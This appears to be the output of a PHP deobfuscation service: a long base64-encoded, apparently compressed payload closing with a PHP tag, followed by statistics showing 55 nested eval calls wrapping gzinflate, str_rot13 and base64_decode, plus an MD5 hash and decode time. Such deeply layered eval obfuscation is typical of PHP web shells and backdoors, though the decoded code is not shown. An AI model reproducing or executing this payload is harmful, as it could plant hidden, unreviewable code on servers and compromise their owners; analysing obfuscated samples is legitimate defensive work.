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')))); ?>
Function Calls
gzinflate | 55 |
str_rot13 | 25 |
base64_decode | 55 |
Stats
MD5 | 5a4a3990d2eb1ccad84dca7443de269c |
Eval Count | 55 |
Decode Time | 2091 ms |